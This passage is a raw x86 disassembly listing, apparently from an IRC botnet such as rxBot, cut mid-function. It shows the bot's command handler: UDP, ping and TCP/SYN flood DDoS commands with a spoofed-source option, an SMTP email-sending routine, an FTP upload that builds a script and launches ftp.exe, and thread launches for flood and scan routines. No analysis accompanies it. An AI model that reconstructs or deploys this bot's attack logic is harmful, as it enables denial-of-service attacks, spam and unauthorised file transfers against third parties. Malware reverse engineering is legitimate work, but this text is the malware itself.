		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B895
		push	dword ptr [ebp+18h]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B895
		push	dword ptr [ebp+18h]
		push	offset aPu	; "pu"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B895
		push	dword ptr [ebp+18h]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B762
		push	dword ptr [ebp+18h]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B762
		push	dword ptr [ebp+18h]
		push	offset aPg	; "pg"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B762
		push	dword ptr [ebp+18h]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B5CF
		push	dword ptr [ebp+18h]
		push	offset aUsa	; "usa"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B5CF
		push	dword ptr [ebp+18h]
		push	offset aUtil_email ; "util.email"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B3CA
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_411B70
		push	dword ptr [ebp+20h]
		call	sub_410A7F
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_411B70
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_411B70
		push	offset asc_41F6B0 ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-8Ch]
		call	sub_406C6E
		push	eax
		lea	eax, [ebp-564h]
		push	eax
		call	sub_411B70
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	ds:dword_430718	; WSAStartup
		lea	eax, [ebp-3E4h]
		push	eax
		call	ds:dword_430814	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_430810	; socket
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-0D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-0D4h], eax
		call	ds:dword_430794	; ntohs
		mov	[ebp-0D6h], ax
		lea	eax, [ebp-564h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-564h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41050B
		add	esp, 1Ch
		lea	eax, [ebp-0D8h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_430740	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_4307AC	; recv
		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	ds:dword_4307E0	; send
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_4307AC	; recv
		push	esi
		call	ds:dword_430828	; closesocket
		call	ds:dword_430700	; WSACleanup
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset unk_42BE00
		jmp	loc_40CF25
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: seg000:0040B26Cj
		push	dword ptr [ebp+18h]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B59E
		push	dword ptr [ebp+18h]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B59E
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	loc_40980B
		push	dword ptr [ebp+18h]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E148
		push	4
		push	esi
		call	sub_408661
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B473
		push	esi
		push	offset dword_42BDA4


loc_40B432:				; CODE XREF: seg000:0040B753j
					; seg000:0040BD0Dj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_40B441:				; CODE XREF: seg000:0040B737j
					; seg000:0040BCF1j ...
		cmp	[ebp-8], ebx
		jnz	short loc_40B462
		push	ebx
		push	dword ptr [ebp-4]


loc_40B44A:				; CODE XREF: seg000:0040C320j
		lea	eax, [ebp-2E4h]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]


loc_40B45A:				; CODE XREF: seg000:0040D972j
		call	sub_40E367
		add	esp, 14h


loc_40B462:				; CODE XREF: seg000:0040B444j
					; seg000:0040B886j ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E
		jmp	loc_40E2D5
; ---------------------------------------------------------------------------


loc_40B473:				; CODE XREF: seg000:0040B42Aj
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_41055D
		pop	ecx
		call	sub_410567
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_410567
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_410567
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41050B
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_411B4E
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_40980B
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41271D
		push	dword ptr [ebp+2Ch]
		call	sub_4119F0
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_41050B
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_430714	; ShellExecuteA
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40B53D
		push	offset dword_42BD24
		jmp	short loc_40B542
; ---------------------------------------------------------------------------


loc_40B53D:				; CODE XREF: seg000:0040B534j
		push	offset dword_42BCE4


loc_40B542:				; CODE XREF: seg000:0040B53Bj
		call	sub_41050B
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40B56B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		add	esp, 14h


loc_40B56B:				; CODE XREF: seg000:0040B54Dj
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407E0E


loc_40B577:				; CODE XREF: seg000:0040B59Cj
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_408661
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40980B
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_4126F3
		jmp	short loc_40B577
; ---------------------------------------------------------------------------


loc_40B59E:				; CODE XREF: seg000:0040B3DBj
					; seg000:0040B3F2j
		push	dword ptr [ebp+esi-8Ch]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_410A7F
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_4048A1
		jmp	loc_40E145
; ---------------------------------------------------------------------------


loc_40B5CF:				; CODE XREF: seg000:0040B23Ej
					; seg000:0040B255j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_410A8A
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_410930
		add	esp, 14h
		test	eax, eax
		jz	short loc_40B632
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B632
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B632
		push	offset dword_42BCA8
		jmp	loc_40D67E
; ---------------------------------------------------------------------------


loc_40B632:				; CODE XREF: seg000:0040B5F8j
					; seg000:0040B60Fj ...
		push	dword ptr [ebp+10h]
		call	sub_410A7F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40B758
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_410A8A
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_410A8A
		push	dword ptr [ebp+8]
		call	sub_410A7F
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-98h]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_410A8A
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40B6C9
		mov	eax, offset aNormal ; "Normal"


loc_40B6C9:				; CODE XREF: seg000:0040B6C2j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset dword_42BC50
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_410A8A
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Ch
		push	eax
		call	sub_40FFB7
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_401BD6
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40B747


loc_40B731:				; CODE XREF: seg000:0040B745j
		cmp	[ebp-568h], ebx
		jnz	loc_40B441
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40B731
; ---------------------------------------------------------------------------


loc_40B747:				; CODE XREF: seg000:0040B72Fj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BC04
		jmp	loc_40B432
; ---------------------------------------------------------------------------


loc_40B758:				; CODE XREF: seg000:0040B643j
		push	offset dword_42BBB8
		jmp	loc_40D67E
; ---------------------------------------------------------------------------


loc_40B762:				; CODE XREF: seg000:0040B1F9j
					; seg000:0040B210j ...
		cmp	ds:dword_430880, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_40B86A
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_411D00
		push	dword ptr [ebp+20h]
		call	sub_410A7F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_410A7F
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_410A7F
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-98h]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_411D00
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-304h]
		push	offset unk_42BB5C
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Eh
		push	eax
		call	sub_40FFB7
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_4074DB
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40B859


loc_40B847:				; CODE XREF: seg000:0040B857j
		cmp	[ebp-2E8h], ebx
		jnz	short loc_40B883
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40B847
; ---------------------------------------------------------------------------


loc_40B859:				; CODE XREF: seg000:0040B845j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BB10
		jmp	loc_40C419
; ---------------------------------------------------------------------------


loc_40B86A:				; CODE XREF: seg000:0040B76Bj
		push	1FFh
		lea	eax, [ebp-2E4h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_411D00


loc_40B880:				; CODE XREF: seg000:0040C425j
		add	esp, 0Ch


loc_40B883:				; CODE XREF: seg000:0040B84Dj
					; seg000:0040B997j ...
		cmp	[ebp-8], ebx
		jnz	loc_40B462
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_40D964
; ---------------------------------------------------------------------------


loc_40B895:				; CODE XREF: seg000:0040B1B4j
					; seg000:0040B1CBj ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_411D00
		push	dword ptr [ebp+20h]
		call	sub_410A7F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_410A7F
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_410A7F
		mov	esi, [ebp+esi-8Ch]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_40B8FD
		push	esi
		call	sub_410A7F
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40B903
; ---------------------------------------------------------------------------


loc_40B8FD:				; CODE XREF: seg000:0040B8ECj
		mov	[ebp-2F8h], ebx


loc_40B903:				; CODE XREF: seg000:0040B8FBj
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-98h]
		push	eax
		call	sub_411D00
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-304h]
		push	offset dword_42BA9C
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Fh
		push	eax
		call	sub_40FFB7
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_407667
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40B9A7


loc_40B991:				; CODE XREF: seg000:0040B9A5j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40B883
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40B991
; ---------------------------------------------------------------------------


loc_40B9A7:				; CODE XREF: seg000:0040B98Fj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BA50
		jmp	loc_40C419
; ---------------------------------------------------------------------------


loc_40B9B8:				; CODE XREF: seg000:0040B186j
					; seg000:0040B19Dj
		push	8
		call	sub_4101FF
		push	dword ptr [ebp+20h]
		mov	[ebp+18h], eax
		call	sub_410A7F
		add	eax, [ebp+18h]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40BA08
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42B9FC
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		jmp	loc_40CD7A
; ---------------------------------------------------------------------------


loc_40BA08:				; CODE XREF: seg000:0040B9D4j
		push	edi
		call	sub_410A7F
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_410A7F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_410A7F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp-318h], eax
		jnb	short loc_40BA41
		push	1
		pop	eax
		mov	[ebp-318h], eax


loc_40BA41:				; CODE XREF: seg000:0040BA36j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40BA4E
		mov	[ebp-318h], ecx


loc_40BA4E:				; CODE XREF: seg000:0040BA46j
		push	dword ptr [ebp+10h]
		call	sub_410A7F
		cmp	eax, 1F4h
		pop	ecx
		mov	[ebp-314h], eax
		jbe	short loc_40BA6E
		mov	dword ptr [ebp-314h], 1F4h


loc_40BA6E:				; CODE XREF: seg000:0040BA62j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_41FFE8, ebx
		mov	[ebp+10h], ebx
		jz	short loc_40BAC4
		mov	dword ptr [ebp+2Ch], offset dword_41FFE8


loc_40BA87:				; CODE XREF: seg000:0040BAA6j
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BAAA
		add	dword ptr [ebp+2Ch], 3Ch
		inc	dword ptr [ebp+10h]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_40BA87
		jmp	short loc_40BAC4
; ---------------------------------------------------------------------------


loc_40BAAA:				; CODE XREF: seg000:0040BA98j
		mov	eax, [ebp+10h]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_41FFE8[ecx]
		mov	[ebp-31Ch], ecx


loc_40BAC4:				; CODE XREF: seg000:0040BA7Ej
					; seg000:0040BAA8j
		cmp	[ebp-31Ch], ebx
		jz	loc_40D679
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_40BB0E
		cmp	byte ptr [edi],	23h
		jz	short loc_40BB0E
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_410A8A
		push	78h
		push	edi
		call	sub_412760
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_40BBE2
; ---------------------------------------------------------------------------


loc_40BB0E:				; CODE XREF: seg000:0040BADCj
					; seg000:0040BAE1j
		cmp	[ebp-9B3h], bl
		jnz	short loc_40BB30
		cmp	[ebp-9B2h], bl
		jnz	short loc_40BB30
		cmp	[ebp-9A2h], bl
		jnz	short loc_40BB30
		push	offset dword_42B9B0
		jmp	loc_40D67E
; ---------------------------------------------------------------------------


loc_40BB30:				; CODE XREF: seg000:0040BB14j
					; seg000:0040BB1Cj ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-0D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43073C	; getsockname
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-0D4h], eax
		push	dword ptr [ebp-0D4h]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_411D00
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_40BBDC
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_412000
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_40BBD0


loc_40BBAE:				; CODE XREF: seg000:0040BBCEj
		cmp	eax, ebx
		jz	short loc_40BBD0
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_412000
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40BBAE


loc_40BBD0:				; CODE XREF: seg000:0040BBACj
					; seg000:0040BBB0j
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_40BBE2
; ---------------------------------------------------------------------------


loc_40BBDC:				; CODE XREF: seg000:0040BB86j
		mov	[ebp-2F0h], ebx


loc_40BBE2:				; CODE XREF: seg000:0040BB09j
					; seg000:0040BBDAj
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-98h]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_410A8A
		mov	esi, [ebp+esi-88h]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40BC36


loc_40BC23:				; CODE XREF: seg000:0040BC59j
		push	esi


loc_40BC24:				; CODE XREF: seg000:0040BC43j
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_410A8A
		add	esp, 0Ch
		jmp	short loc_40BC61
; ---------------------------------------------------------------------------


loc_40BC36:				; CODE XREF: seg000:0040BC21j
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40BC45
		cmp	byte ptr [eax],	23h
		jnz	short loc_40BC45
		push	eax
		jmp	short loc_40BC24
; ---------------------------------------------------------------------------


loc_40BC45:				; CODE XREF: seg000:0040BC3Bj
					; seg000:0040BC40j
		mov	esi, offset dword_4230B4
		push	offset dword_42F3E8
		push	esi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BC23
		mov	[ebp-3A0h], bl


loc_40BC61:				; CODE XREF: seg000:0040BC34j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40BC73
		mov	eax, offset aSequential	; "Sequential"


loc_40BC73:				; CODE XREF: seg000:0040BC6Cj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42B924
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_40FFB7
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	405723h
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40BD01


loc_40BCEB:				; CODE XREF: seg000:0040BCFFj
		cmp	[ebp-2ECh], ebx
		jnz	loc_40B441
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40BCEB
; ---------------------------------------------------------------------------


loc_40BD01:				; CODE XREF: seg000:0040BCE9j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B8D8
		jmp	loc_40B432
; ---------------------------------------------------------------------------


loc_40BD12:				; CODE XREF: seg000:0040B146j
					; seg000:0040B15Dj
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_4358F0[eax], bl
		jz	loc_40E148
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	edi
		call	sub_410B60
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_410B60
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_410B60
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_410AE0
		mov	esi, eax
		lea	eax, [ebp-2E4h]
		push	esi
		push	offset dword_42B8CC
		push	eax
		call	sub_41050B
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40E148
		push	edi
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		jle	loc_40E148
		push	edi
		call	sub_410A7F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40E148
		push	ebx
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358E4[eax]
		call	sub_40E367
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_4356D8[eax], 73h
		jnz	loc_40E148
		push	esi
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4358F0
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40BDFA:				; CODE XREF: seg000:0040BEF4j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-98h]
		push	dword ptr [ebp+0Ch]
		call	sub_40E367
		jmp	loc_40DAF6
; ---------------------------------------------------------------------------


loc_40BE24:				; CODE XREF: seg000:0040B118j
					; seg000:0040B12Fj
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_4358F0[eax], bl
		jz	loc_40E148
		cmp	[ebp-0Ch], ebx
		jz	loc_40E148
		push	edi
		call	sub_410B60
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_410B60
		push	dword ptr [ebp+20h]
		add	esi, eax
		call	sub_410B60
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_410AE0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40E148
		push	edi
		call	sub_410A7F
		test	eax, eax
		pop	ecx
		jle	loc_40E148
		push	edi
		call	sub_410A7F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40E148
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4358E4[eax]
		call	sub_40E367
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_4356D8[eax], 73h
		jnz	loc_40E148
		push	esi
		push	edi
		call	sub_410A7F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4358F0
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_40BDFA
; ---------------------------------------------------------------------------


loc_40BEF9:				; CODE XREF: seg000:0040B0EAj
					; seg000:0040B101j
		push	edi
		call	ds:dword_4307D0	; inet_addr
		push	dword ptr [ebp+20h]
		mov	[ebp-47Ch], eax
		call	sub_410A7F
		push	dword ptr [ebp+8]
		mov	[ebp-488h], eax
		call	sub_410A7F
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-98h]
		mov	[ebp-484h], eax
		lea	eax, [ebp-508h]
		mov	[ebp-50Ch], esi
		push	eax
		call	sub_411D00
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-474h], edi
		push	dword ptr [ebp-484h]
		mov	[ebp-470h], eax
		push	dword ptr [ebp-488h]
		push	dword ptr [ebp-47Ch]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset unk_42B85C
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_40FFB7
		add	esp, 20h
		mov	[ebp-480h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-50Ch]
		push	ebx
		push	eax
		push	offset sub_40FB84
		push	ebx
		push	ebx
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp-480h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_40BFDB


loc_40BFC5:				; CODE XREF: seg000:0040BFD9j
		cmp	[ebp-46Ch], ebx
		jnz	loc_40D959
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40BFC5
; ---------------------------------------------------------------------------


loc_40BFDB:				; CODE XREF: seg000:0040BFC3j
		call	ds:dword_41C068	; RtlGetLastWin32Error
